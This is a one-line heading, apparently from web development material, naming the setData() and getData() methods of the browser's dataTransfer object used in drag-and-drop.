The `setData()` and `getData()` Methods on The `dataTransfer` Object